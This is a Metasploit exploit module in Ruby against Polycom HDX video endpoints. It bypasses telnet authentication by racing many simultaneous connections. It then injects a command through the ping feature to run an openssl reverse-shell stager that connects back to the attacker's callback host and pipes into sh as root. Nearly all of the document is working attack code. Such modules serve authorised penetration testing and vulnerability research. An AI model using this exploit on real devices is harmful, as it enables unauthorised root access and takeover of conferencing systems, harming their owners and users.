Polycom Command Shell Authorization Bypass

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Polycom Command Shell Authorization Bypass',  
'Alias' => 'polycom_hdx_auth_bypass',  
'Author' =>  
[  
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module  
'h00die <[email protected]>', # submission/cleanup  
],  
'DisclosureDate' => 'Jan 18 2013',  
'Description' => %q(  
The login component of the Polycom Command Shell on Polycom HDX  
video endpoints, running software versions 3.0.5 and earlier,  
is vulnerable to an authorization bypass when simultaneous  
connections are made to the service, allowing remote network  
attackers to gain access to a sandboxed telnet prompt without  
authentication. Versions prior to 3.0.4 contain OS command  
injection in the ping command which can be used to execute  
arbitrary commands as root.  
),  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],  
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],  
[ 'EDB', '24494']  
],  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Privileged' => true,  
'Targets' => [ [ "Universal", {} ] ],  
'Payload' =>  
{  
'Space' => 8000,  
'DisableNops' => true,  
'Compat' => { 'PayloadType' => 'cmd' }  
},  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
Opt::RHOST(),  
Opt::RPORT(23),  
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),  
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])  
], self.class  
)  
register_advanced_options(  
[  
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),  
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])  
], self.class  
)  
end  
  
def check  
connect  
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "\n")  
Rex.sleep(1)  
res = sock.get_once  
disconnect  
  
if !res && !res.empty?  
return Exploit::CheckCode::Safe  
end  
  
if res =~ /Welcome to ViewStation/  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
# Keep track of results (successful connections)  
results = []  
  
# Random string for password  
password = Rex::Text.rand_text_alpha(rand(5) + 1)  
  
# Threaded login checker  
max_threads = datastore['THREADS']  
cur_threads = []  
  
# Try up to 100 times just to be sure  
queue = [*(1..datastore['MAX_CONNECTIONS'])]  
  
print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")  
until queue.empty?  
while cur_threads.length < max_threads  
  
# We can stop if we get a valid login  
break unless results.empty?  
  
# keep track of how many attempts we've made  
item = queue.shift  
  
# We can stop if we reach max tries  
break unless item  
  
t = Thread.new(item) do |count|  
sock = connect  
sock.put(password + "\n")  
res = sock.get_once  
  
until res.empty?  
break unless results.empty?  
  
# Post-login Polycom banner means success  
if res =~ /Polycom/  
results << sock  
break  
# bind error indicates bypass is working  
elsif res =~ /bind/  
sock.put(password + "\n")  
# Login error means we need to disconnect  
elsif res =~ /failed/  
break  
# To many connections means we need to disconnect  
elsif res =~ /Error/  
break  
end  
res = sock.get_once  
end  
end  
  
cur_threads << t  
end  
  
# We can stop if we get a valid login  
break unless results.empty?  
  
# Add to a list of dead threads if we're finished  
cur_threads.each_index do |ti|  
t = cur_threads[ti]  
unless t.alive?  
cur_threads[ti] = nil  
end  
end  
  
# Remove any dead threads from the set  
cur_threads.delete(nil)  
  
Rex.sleep(0.25)  
end  
  
# Clean up any remaining threads  
cur_threads.each { |sock| sock.kill }  
  
if !results.empty?  
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")  
do_payload(results[0])  
else  
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")  
end  
end  
  
def do_payload(sock)  
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise  
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])  
  
# Start a listener  
start_listener(true)  
  
# Figure out the port we picked  
cbport = self.service.getsockname[2]  
  
# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128  
cmd = "\nping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0\n"  
sock.put(cmd)  
  
# Give time for our command to be queued and executed  
1.upto(5) do  
Rex.sleep(1)  
break if session_created?  
end  
end  
  
def stage_final_payload(cli)  
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")  
cli.put(payload.encoded + "\n")  
end  
  
def start_listener(ssl = false)  
comm = datastore['ListenerComm']  
if comm == 'local'  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
  
self.service = Rex::Socket::TcpServer.create(  
'LocalPort' => datastore['CBPORT'],  
'SSL' => ssl,  
'SSLCert' => datastore['SSLCert'],  
'Comm' => comm,  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
}  
)  
  
self.service.on_client_connect_proc = proc { |client|  
stage_final_payload(client)  
}  
  
# Start the listening service  
self.service.start  
end  
  
# Shut down any running services  
def cleanup  
super  
if self.service  
print_status("Shutting down payload stager listener...")  
begin  
self.service.deref if self.service.is_a?(Rex::Service)  
if self.service.is_a?(Rex::Socket)  
self.service.close  
self.service.stop  
end  
self.service = nil  
rescue ::Exception  
end  
end  
end  
  
# Accessor for our TCP payload stager  
attr_accessor :service  
end  
`